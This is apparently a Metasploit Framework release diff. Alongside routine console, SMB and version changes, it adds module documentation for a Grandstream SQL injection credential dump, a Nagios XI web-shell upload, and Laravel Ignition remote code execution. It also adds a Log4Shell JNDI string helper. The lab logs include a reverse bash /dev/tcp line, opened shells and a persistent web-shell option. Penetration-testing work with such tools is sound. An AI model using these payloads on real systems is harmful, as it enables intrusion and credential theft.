rescue EOFError, Errno::EAGAIN
# noop
end
reads.to_a.each do |io|
data = io.read_nonblock(1024)
puts data
result += data
rescue EOFError, Errno::EAGAIN
# noop
end
end
@ -1103,7 +1132,7 @@ module Build
unless options[:skip_migration]
config = Config.new
migrator = WikiMigration.new
migrator.run(config)
migrator.run(config, options)
end
if options[:production]
@ -1136,6 +1165,13 @@ if $PROGRAM_NAME == __FILE__
options[:skip_migration] = skip_migration
end
opts.on('--update-existing-wiki [website url]', 'Update the existing wiki with links to the new website location') do |new_website_url|
new_website_url ||= 'https://docs.metasploit.com/'
options[:update_existing_wiki] = {
new_website_url: new_website_url
}
end
opts.on('--production', 'Run a production build') do |production|
options[:production] = production
end

View File

@ -0,0 +1,64 @@
## Vulnerable Application
### Description
This module uses a blind SQL injection (CVE-2020-5724) affecting the Grandstream UCM62xx
IP PBX to dump the users table. The injection occurs over a websocket at the websockify
endpoint, and specifically occurs when the user requests the challenge (as part of a
challenge and response authentication scheme). The injection is blind, but the server
response contains a different status code if the query was successful. As such, the
attacker can guess the contents of the user database. Most helpfully, the passwords are
stored in cleartext within the user table (CVE-2020-5723).
This issue was patched in Grandstream UCM62xx IP PBX firmware version 1.20.22.
### Installation
The UCM62xx PBX is a physical device and is not known to have been successfully emulated.
However, if you have a device, affected firmware can be downloaded here:
* http://firmware.grandstream.com/Release_UCM62xx_1.0.20.22.zip
## Verification Steps
* Acquire an affected device and configure it with the affected firmware
* Do: `use auxiliary/gather/grandstream_ucm62xx_sql_account_guess`
* Do: `set RHOST <ip>`
* Do: `check`
* Do: Verify the remote host is vulnerable.
* Do: `run`
* You should get a list of valid credentials for the target device.
## Options
### TARGETURI
Specifies base URI. The default value is `/`.
## Scenarios
### Grandstream UCM6202 IP PBX firmware version 1.0.20.20
```
msf6 > use auxiliary/gather/grandstream_ucm62xx_sql_account_guess
msf6 auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > set RHOST 10.0.0.7
RHOST => 10.0.0.7
msf6 auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > check
[*] Requesting version information from /cgi
[*] 10.0.0.7:8089 - The target appears to be vulnerable. The self-reported version is: 1.0.20.20
msf6 auxiliary(gather/grandstream_ucm62xx_sql_account_guess) > run
[*] Running module against 10.0.0.7
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Requesting version information from /cgi
[+] The target appears to be vulnerable. The self-reported version is: 1.0.20.20
[*] Found the following username and password: admin - cheesed00dle
[*] Found the following username and password: 1000 - gZ15S8O8U5S72oli
[*] Found the following username and password: 1001 - qK6uRxwC
[*] Found the following username and password: 1002 - aP9ux515W7p5U
[*] Found the following username and password: 1003 - pM6mo!E8u37k
[*] Found the following username and password: 1004 - mC7N68dm8h
[*] Auxiliary module execution completed
msf6 auxiliary(gather/grandstream_ucm62xx_sql_account_guess) >
```

View File

@ -44,7 +44,7 @@ RUN apt-get update && \
apt-get clean && \
rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
RUN curl https://dlcdn.apache.org/struts/2.5.28/struts-2.5.28-all.zip > struts-all.zip && \
RUN curl https://archive.apache.org/dist/struts/2.5.28/struts-2.5.28-all.zip > struts-all.zip && \
unzip struts-all.zip && \
cp /struts-2.5.28/apps/struts2-showcase.war /bitnami/tomcat/webapps/
```

View File

@ -0,0 +1,226 @@
## Vulnerable Application
### Description
This module exploits a path traversal issue in Nagios XI before version 5.8.5 (CVE-2021-37343). The path
traversal allows a remote and authenticated administrator to upload a PHP web shell and execute code as
`www-data`. The module achieves this by creating an autodiscovery job with an `id` field containing a
path traversal to a writable and remotely accessible directory, and `custom_ports` field containing
the web shell. A cron file will be created using the attacker's chosen path and name, and the web
shell is embedded in the file.
After the web shell has been written to the victim, this module will then use the webshell to establish
a Meterpreter session or a reverse shell. By default, the web shell is deleted by the module, and the
autodiscovery job is removed as well.
### Installation
The following was tested on Ubuntu 20.04.
* wget https://assets.nagios.com/downloads/nagiosxi/5/xi-5.8.4.tar.gz
* tar -xvf xi-5.8.4.tar.gz
* cd nagiosxi
* sudo ./fullinstall
The installer will spend a good deal of time installing many things. Upon completion, navigate to
the Web UI, accept license agreements, and configure the administrator username and password.
## Verification Steps
* Follow the instructions above to install Nagios XI 5.8.4 on Ubuntu 20.04
* Do: `use exploit/linux/http/nagios_xi_autodiscovery_webshell`
* Do: `set RHOST <ip>`
* Do: `set PASSWORD <password>`
* Do: `check`
* Verify the target is flagged as vulnerable
* Do: `set LHOST <ip>`
* Do: `run`
* You should get a Meterpreter session.
## Options
### TARGETURI
Specifies base URI. The default value is `/nagiosxi`.
### USERNAME
The username to log in to the Nagios XI web interface with. The default is `nagiosadmin`.
### PASSWORD
The password to log in with. Set to `nil` by default.
### DEPTH
The depth of the path traversal. Default is 10.
### WEBSHELL_NAME
Allows the user to name the webshell. If the user doesn't provided a name then one will be automatically generated.
Set to `nil` by default.
### DELETE_WEBSHELL
Indicates if the web shell should be deleted after the meterpreter session or reverse shell is established.
A user may want to leave behind a web shell for persistence reasons. The default is `true`.
## Scenarios
### Nagios XI 5.8.4 - Get a Meterpreter Session
```
msf6 > use auxiliary/scanner/http/nagios_xi_scanner
msf6 auxiliary(scanner/http/nagios_xi_scanner) > set RHOST 10.0.0.6
RHOST => 10.0.0.6
msf6 auxiliary(scanner/http/nagios_xi_scanner) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 auxiliary(scanner/http/nagios_xi_scanner) > run
[*] Attempting to authenticate to Nagios XI...
[+] Successfully authenticated to Nagios XI
[*] Target is Nagios XI with version 5.8.4
[+] The target appears to be vulnerable to the following 1 exploit(s):
[*]
[*] CVE-2021-37343 exploit/linux/http/nagios_xi_autodiscovery_webshell
[*]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/nagios_xi_scanner) > use exploit/linux/http/nagios_xi_autodiscovery_webshell
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3
LHOST => 10.0.0.3
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6
RHOST => 10.0.0.6
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > run
[*] Started reverse TCP handler on 10.0.0.3:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Attempting to authenticate to Nagios XI...
[+] The target appears to be vulnerable. Determined using the self-reported version: 5.8.4
[*] Attempting to grab a CSRF token from /nagiosxi/includes/components/autodiscovery/?mode=newjob
[*] Uploading webshell to /nagiosxi/includes/components/highcharts/exporting-server/temp/fJHspzgor.php
[*] Testing if web shell installation was successful
[+] Web shell installed at /nagiosxi/includes/components/highcharts/exporting-server/temp/fJHspzgor.php
[*] Executing Linux Dropper for linux/x86/meterpreter/reverse_tcp
[*] Sending stage (989032 bytes) to 10.0.0.6
[+] Deleted /usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/fJHspzgor.php
[*] Command Stager progress - 100.00% done (700/700 bytes)
[*] Deleting autodiscovery job
[*] Meterpreter session 1 opened (10.0.0.3:4444 -> 10.0.0.6:44224 ) at 2022-02-05 17:53:27 -0800
meterpreter > shell
Process 800816 created.
Channel 1 created.
uname -a
Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
whoami
www-data
pwd
/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp
```
### Nagios XI 5.8.4 - Get a reverse shell
```
msf6 > use auxiliary/scanner/http/nagios_xi_scanner
msf6 auxiliary(scanner/http/nagios_xi_scanner) > set RHOST 10.0.0.6
RHOST => 10.0.0.6
msf6 auxiliary(scanner/http/nagios_xi_scanner) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 auxiliary(scanner/http/nagios_xi_scanner) > run
[*] Attempting to authenticate to Nagios XI...
[+] Successfully authenticated to Nagios XI
[*] Target is Nagios XI with version 5.8.4
[+] The target appears to be vulnerable to the following 1 exploit(s):
[*]
[*] CVE-2021-37343 exploit/linux/http/nagios_xi_autodiscovery_webshell
[*]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/nagios_xi_scanner) > use exploit/linux/http/nagios_xi_autodiscovery_webshell
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set target 0
target => 0
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6
RHOST => 10.0.0.6
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3
LHOST => 10.0.0.3
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > run
[*] Started reverse double SSL handler on 10.0.0.3:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Attempting to authenticate to Nagios XI...
[+] The target appears to be vulnerable. Determined using the self-reported version: 5.8.4
[*] Attempting to grab a CSRF token from /nagiosxi/includes/components/autodiscovery/?mode=newjob
[*] Uploading webshell to /nagiosxi/includes/components/highcharts/exporting-server/temp/OalF9GV4AC.php
[*] Testing if web shell installation was successful
[+] Web shell installed at /nagiosxi/includes/components/highcharts/exporting-server/temp/OalF9GV4AC.php
[*] Executing Unix Command for cmd/unix/reverse_openssl
[*] Deleting autodiscovery job
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo nyjlVFXNgWehsWFs;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "nyjlVFXNgWehsWFs\n"
[*] Matching...
[*] A is input...
[+] Deleted /usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/OalF9GV4AC.php
[*] Command shell session 1 opened (10.0.0.3:4444 -> 10.0.0.6:44226 ) at 2022-02-05 17:56:49 -0800
whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),135(Debian-snmp),1001(nagios),1002(nagcmd)
pwd
/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp
```
### Nagios XI 5.8.4 - Leave a web shell behind
```
msf6 > use exploit/linux/http/nagios_xi_autodiscovery_webshell
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6
RHOST => 10.0.0.6
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3
LHOST => 10.0.0.3
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set DELETE_WEBSHELL false
DELETE_WEBSHELL => false
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set WEBSHELL_NAME lobster.php
WEBSHELL_NAME => lobster.php
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > run
[*] Started reverse TCP handler on 10.0.0.3:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Attempting to authenticate to Nagios XI...
[+] The target appears to be vulnerable. Determined using the self-reported version: 5.8.4
[*] Attempting to grab a CSRF token from /nagiosxi/includes/components/autodiscovery/?mode=newjob
[*] Uploading webshell to /nagiosxi/includes/components/highcharts/exporting-server/temp/lobster.php
[*] Testing if web shell installation was successful
[+] Web shell installed at /nagiosxi/includes/components/highcharts/exporting-server/temp/lobster.php
[*] Executing Linux Dropper for linux/x86/meterpreter/reverse_tcp
[*] Sending stage (989032 bytes) to 10.0.0.6
[*] Command Stager progress - 100.00% done (700/700 bytes)
[*] Deleting autodiscovery job
[*] Meterpreter session 1 opened (10.0.0.3:4444 -> 10.0.0.6:44230 ) at 2022-02-05 18:07:14 -0800
meterpreter > quit
[*] Shutting down Meterpreter...
[*] 10.0.0.6 - Meterpreter session 1 closed. Reason: User exit
msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > exit
albinolobster@ubuntu:~/metasploit-framework$ curl --insecure https://10.0.0.6/nagiosxi/includes/components/highcharts/exporting-server/temp/lobster.php?cmd=id
0 9 * * * rm -f '/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.xml'; touch '/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.watch'; sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses='127.0.0.1/0' --exclude='' --output='../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.xml' --watch='/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.watch' --onlynew=0 --debug=1 --detectos=1 --detecttopo=1 --customports='uid=33(www-data) gid=33(www-data) groups=33(www-data),135(Debian-snmp),1001(nagios),1002(nagcmd)
' > '/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.out' 2>&1 & echo $! > /dev/null 2>&1
```

View File

@ -0,0 +1,74 @@
## Vulnerable Application
Ignition prior to 2.5.2, as used in Laravel and other products, allows unauthenticated remote malicious users to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel prior to 8.4.2.
This module has been tested successfully on Debian 10.7 (x86_64) with kernel version 5.10.60.
The easiest way to deploy a vulnerable application is to use the image from the vulhub project available over docker compose [here](https://github.com/vulhub/vulhub/blob/master/laravel/CVE-2021-3129/docker-compose.yml). However this container doesn't come
with the required log file created, then it needs to be created manually in the path `/var/www/storage/logs/laravel.log`.
## Verification Steps
Confirm that functionality works:
1. Start `msfconsole`
2. `use exploit/multi/php/ignition_laravel_debug_rc`
3. set `RHOSTS` and `RPORT`
4. Confirm the target is vulnerable: `check`
5. Confirm that the target is vulnerable: `The target is vulnerable.`
6. It come already with a default payload `cmd/unix/reverse_bash`
7. `set LHOST`
8. `exploit`
9. Confirm you have now a cmd session
## Options
### TARGETURI (required)
The path to the Ignition _solutions_ file to exploit. By default, the path is `/_ignition/execute-solution`.
### LOGPATH (optional)
Path to Laravel's log file, which contains every PHP error and stack trace. By default it is stored in `storage/logs/laravel.log`. If not defined this module will try to automatically determine it based on the stack trace of the application.
## Scenarios
```
msf6 exploit(multi/php/ignition_laravel_debug_rce) > exploit
[+] bash -c '0<&65-;exec 65<>/dev/tcp/172.28.241.244/4444;sh <&65 >&65 2>&65'
[*] Started reverse TCP handler on 172.28.241.244:4444
[*] Checking component version to 172.28.240.1:8080
[*] Debug mode is enabled.
[*] Found PHP 7.4.15 running Laravel 8.26.1
[*] Found log file /var/www/storage/logs/laravel.log
[*] Command shell session 2 opened (172.28.241.244:4444 -> 172.28.240.1:56840 ) at 2022-02-08 11:32:12 +0100
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
php /var/www/artisan --version
Laravel Framework 8.26.1
head ../vendor/facade/ignition/CHANGELOG.md
# Changelog
All notable changes to `ignition` will be documented in this file
## 2.5.1 - 2020-11-13
- add support for LiveWire component urls
## 2.5.0 - 2020-10-27
uname -a
Linux 9f96df025a2b 5.10.60.1-microsoft-standard-WSL2 #1 SMP Wed Aug 25 23:20:18 UTC 2021 x86_64 GNU/Linux
cat /etc/debian_version
10.7
exit
[*] 172.28.240.1 - Command shell session 2 closed.
```
### Version and OS
This module has been tested successfully on Debian 10.7 (x86_64) with kernel version 5.10.60. Details as below:
* PHP 7.4.1
* Laravel Framework 8.26.1
* Ignition 2.5.1
* Debian 10.7

View File

@ -40,6 +40,11 @@ DefangedMode is set to true by default to prevent unintentional network configur
This must be set to false if packet forwarding on port 445 was disabled manually.
DisableFwd is set to true by default to allow the module to disable packet forwarding on port 445.
### ConfirmServerDialect
This must be set to true to have the module confirm the server supports the lowest smb version supported by the client.
ConfirmServerDialect is set to false by default as the above situation is unlikely.
## Scenarios
**Active Windows Network**

View File

@ -85,6 +85,7 @@ class Metasploit::Framework::Command::Console < Metasploit::Framework::Command::
driver_options['Logger'] = options.console.logger
driver_options['ModulePath'] = options.modules.path
driver_options['Plugins'] = options.console.plugins
driver_options['Readline'] = options.console.readline
driver_options['RealReadline'] = options.console.real_readline
driver_options['Resource'] = options.console.resources
driver_options['XCommands'] = options.console.commands

View File

@ -15,6 +15,7 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par
options.console.local_output = nil
options.console.plugins = []
options.console.quiet = false
options.console.readline = true
options.console.real_readline = false
options.console.resources = []
options.console.subcommand = :run
@ -48,6 +49,10 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par
options.console.logger = logger
end
option_parser.on('--[no-]readline') do |readline|
options.console.readline = readline
end
option_parser.on('-L', '--real-readline', 'Use the system Readline library instead of RbReadline') do
options.console.real_readline = true
end

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "6.1.30"
VERSION = "6.1.31"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -21,8 +21,11 @@ class Meterpreter_Java_Java < Msf::Sessions::Meterpreter
self.base_platform = 'java'
self.base_arch = ARCH_JAVA
end
def native_arch
@native_arch ||= self.core.native_arch
end
end
end
end

View File

@ -114,7 +114,7 @@ module Exploit::Android
# The NDK stager is used to launch a hidden APK
def ndkstager(stagename, arch)
stager_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2012-6636", NDK_FILES[arch] || arch, 'libndkstager.so')
data = File.read(stager_file, {:mode => 'rb'})
data = File.read(stager_file, mode: 'rb')
data.gsub!('PLOAD', stagename)
end

View File

@ -1,18 +1,19 @@
# -*- coding: binary -*-
# Scans a Nagios XI target and suggests exploit modules to use
module Msf::Exploit::Remote::HTTP::NagiosXi::RceCheck
# Uses the Nagios XI version to check which CVEs and related exploit modules the target is vulnerable to, if any
#
# @param version [Rex::Version] Nagios XI version
# @return [Hash], Hash mapping CVE numbers to exploit module names if the target is vulnerable, empty hash otherwise
def nagios_xi_rce_check(version)
def nagios_xi_rce_check(version)
matching_exploits = {}
# Storage area for known exploits that affect versions prior to the one in the hash key
nagios_rce_version_prior = {
'5.2.8' => [
['NO CVE AVAILABLE', 'nagios_xi_chained_rce']
],
]
}
nagios_rce_version_prior.each do |fixed_version, info|
@ -53,10 +54,13 @@ module Msf::Exploit::Remote::HTTP::NagiosXi::RceCheck
'5.6.0-5.7.3' => [
['CVE-2020-5791', 'nagios_xi_mibs_authenticated_rce']
],
'5.2.0-5.8.4' => [
['CVE-2021-37343', 'nagios_xi_autodiscovery_webshell']
]
}
nagios_rce_version_range.each do |fixed_version, info|
lower, higher = fixed_version.split("-")
lower, higher = fixed_version.split('-')
lower = Rex::Version.new(lower)
higher = Rex::Version.new(higher)
if version >= lower && version <= higher

View File

@ -27,8 +27,9 @@ module Exploit::Remote::JndiInjection
# Create the JNDI injection string that will trigger an LDAP connection back to Metasploit.
#
# @return [String] the JNDI string
def jndi_string
"${jndi:ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}}"
def jndi_string(resource = nil)
resource ||= "dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}"
"ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{resource}"
end
## LDAP service callbacks
@ -130,7 +131,9 @@ module Exploit::Remote::JndiInjection
end
def validate_configuration!
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST'])
if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
end
end
end
end

View File

@ -0,0 +1,11 @@
# -*- coding: binary -*-
module Msf
module Exploit::Remote::Log4Shell
include Exploit::Remote::JndiInjection
def log4j_jndi_string(resource = nil)
"${jndi:#{jndi_string(resource)}}"
end
end
end

View File

@ -58,9 +58,11 @@ module Exploit::Remote::SocketServer
#
def cleanup
super
if(service)
stop_service()
print_status("Server stopped.")
if service
stopped = stop_service
if stopped
print_status("Server stopped.")
end
end
end
@ -80,17 +82,24 @@ module Exploit::Remote::SocketServer
# Stops the service.
#
def stop_service
if (service)
if service
begin
self.service.deref if self.service.kind_of?(Rex::Service)
if self.service.kind_of?(Rex::Socket) || self.service.kind_of?(Rex::Post::Meterpreter::Channel)
self.service.close
self.service.stop
if self.service.kind_of?(Rex::Service)
temp_service = self.service
self.service = nil
return temp_service.deref
else
if self.service.kind_of?(Rex::Socket) || self.service.kind_of?(Rex::Post::Meterpreter::Channel)
self.service.close
self.service.stop
end
end
self.service = nil
true
rescue ::Exception => e
print_error(e.message)
false
end
end
end

View File

@ -5,10 +5,12 @@ module Exploit::SMB
READ_TIMEOUT = 30
TCP_MSS = 536 # RFC 879
# The underlying socket that we select on
# @!attribute [rw] tcp_socket
# The underlying stream that we select on
# @!attribute [rw] stream
# @return [IO]
attr_accessor :tcp_socket
attr_accessor :stream
alias :tcp_socket :stream
# The read timeout
# @!attribute [rw] read_timeout
@ -95,6 +97,8 @@ module Exploit::SMB
@tcp_win = tcp_win
@tcp_mss = tcp_mss
@read_timeout = read_timeout
# Just create something to close
@stream = Socket.new Socket::AF_INET, Socket::SOCK_STREAM
end
# @param host [String] passed to TCPSocket.new
@ -104,7 +108,7 @@ module Exploit::SMB
end
# Needs: @tcp_src, @tcp_dst, @tcp_seq, @tcp_ack, @tcp-win, @interface, @mac
def send_packet(packet, nbss_header: true)
def send_packet(packet, nbss_header: true, tcp_flags: { ack: 1, psh: 1 }, tcp_opts: "")
data = nbss_header ? nbss(packet) : ''
if packet.methods.include?(:to_binary_s)
data << packet.to_binary_s
@ -119,17 +123,20 @@ module Exploit::SMB
tcp_seq: @tcp_seq,
tcp_ack: @tcp_ack,
tcp_win: @tcp_win,
tcp_flags: { ack: 1, psh: 1}
tcp_flags: tcp_flags,
tcp_opts: tcp_opts
)
pkt = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: tcp_header)
pkt.payload = data
pkt.recalc
@stream.close if @stream
@ccap = PacketFu::Capture.new(
iface: @interface,
promisc: false,
start: true,
filter: "ether dst #{@mac} and not ether src #{@mac} and src port 445 and dst port #{@tcp_src}"
filter: "ether dst #{@mac} and not ether src #{@mac} and src port #{@tcp_dst} and dst port #{@tcp_src}"
)
@stream = @ccap.stream
if data.size > @tcp_mss
ip_body = pkt.ip_header.body.to_s
ip_id = pkt.ip_header.ip_id
@ -158,10 +165,14 @@ module Exploit::SMB
# @raise [RubySMB::Error::CommunicationError] if the read timeout expires or an error occurs when reading the packet
def recv_packet(full_response: false)
raise RubySMB::Error::CommunicationError, 'Capture has not been initialized' unless @ccap.class == PacketFu::Capture
pkt = @ccap.stream.each_data do |data|
break PacketFu::Packet.parse(data)
pkt = @stream.each_data do |data|
pkt = PacketFu::Packet.parse(data)
break pkt if (pkt.tcp_header.tcp_seq == @tcp_ack) || (@tcp_ack == 0)
end
raise Errno::ECONNRESET, 'Recieved a RST packet' if pkt.tcp_header.tcp_flags.rst == 1
#puts "#{pkt.tcp_header.tcp_seq} == #{@tcp_ack}"
@tcp_ack = pkt.tcp_header.tcp_seq + pkt.tcp_header.body.size
@tcp_ack += 1 if pkt.tcp_header.tcp_flags.syn == 1
@tcp_seq = pkt.tcp_header.tcp_ack
return pkt.payload[(full_response ? 0 : 4)..-1]
rescue Errno::EINVAL, Errno::ECONNABORTED, Errno::ECONNRESET, TypeError, NoMethodError => e

View File

@ -150,9 +150,15 @@ module Msf
def replicant
obj = self.clone
self.instance_variables.each { |k|
v = instance_variable_get(k)
v = v.dup rescue v
obj.instance_variable_set(k, v)
old_value = instance_variable_get(k)
begin
new_value = old_value.is_a?(Rex::Ref) ? old_value.ref : old_value.dup
rescue => e
elog("#{self.class} replicant failed to dup #{k}", error: e)
new_value = old_value
end
obj.instance_variable_set(k, new_value)
}
obj.datastore = self.datastore.copy

View File

@ -488,7 +488,7 @@ module Msf::Post::File
# @param local [String] Local file whose contents will be uploaded
# @return (see #write_file)
def upload_file(remote, local)
write_file(remote, ::File.read(local))
write_file(remote, ::File.read(local, mode: 'rb'))
end
#

View File

@ -288,7 +288,7 @@ module Msf
added = "Loaded #{overall} modules:\n"
totals.each_pair { |type, count|
totals.sort_by { |type, _count| type }.each { |type, count|
added << " #{count} #{type} modules\n"
}

View File

@ -51,6 +51,7 @@ class Driver < Msf::Ui::Driver
#
# @option opts [Boolean] 'AllowCommandPassthru' (true) Whether to allow
# unrecognized commands to be executed by the system shell
# @option opts [Boolean] 'Readline' (true) Whether to use the readline or not
# @option opts [Boolean] 'RealReadline' (false) Whether to use the system's
# readline library instead of RBReadline
# @option opts [String] 'HistFile' (Msf::Config.history_file) Path to a file
@ -91,6 +92,10 @@ class Driver < Msf::Ui::Driver
input = opts['LocalInput']
input ||= Rex::Ui::Text::Input::Stdio.new
if !opts['Readline']
input.disable_readline
end
if (opts['LocalOutput'])
if (opts['LocalOutput'].kind_of?(String))
output = Rex::Ui::Text::Output::File.new(opts['LocalOutput'])

View File

@ -28,6 +28,7 @@ module Service
# If there's only one reference, then it's the service managers.
if @_references == 1
Rex::ServiceManager.stop_service(self)
return true
end
rv

View File

@ -20,6 +20,7 @@ class Input
def initialize
self.eof = false
@config = {
:readline => true, # true, false
:color => :auto, # true, false, :auto
}
super
@ -29,7 +30,9 @@ class Input
# Whether or not the input medium supports readline.
#
def supports_readline
true
return true if not @config
config[:readline] == true
end
#
@ -82,6 +85,16 @@ class Input
attr_reader :config
def disable_readline
return if not @config
@config[:readline] = false
end
def enable_readline
return if not @config
@config[:readline] = true
end
def disable_color
return if not @config
@config[:color] = false
@ -111,4 +124,3 @@ end
end
end
end

View File

@ -6,27 +6,23 @@
module Rex::UserAgent
#
# List from https://techblog.willshouse.com/2012/01/03/most-common-user-agents/
# This article was updated on July 11th 2015. It's probably worth updating this
# list over time.
#
# This list is in the order of most common to least common.
# Taken from https://www.whatismybrowser.com/guides/the-latest-user-agent/
#
COMMON_AGENTS = [
# Chrome
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36',
# Edge
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.44',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69',
# Safari
'Mozilla/5.0 (iPad; CPU OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_0_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15',
'Mozilla/5.0 (iPad; CPU OS 15_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Mobile/15E148 Safari/604.1',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15',
# Firefox
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 12.0; rv:94.0) Gecko/20100101 Firefox/94.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 12.2; rv:97.0) Gecko/20100101 Firefox/97.0',
]
#

View File

@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '2.0.72'
spec.add_runtime_dependency 'metasploit-payloads', '2.0.74'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.18'
# Needed by msfgui and other rpc components

View File

@ -0,0 +1,133 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
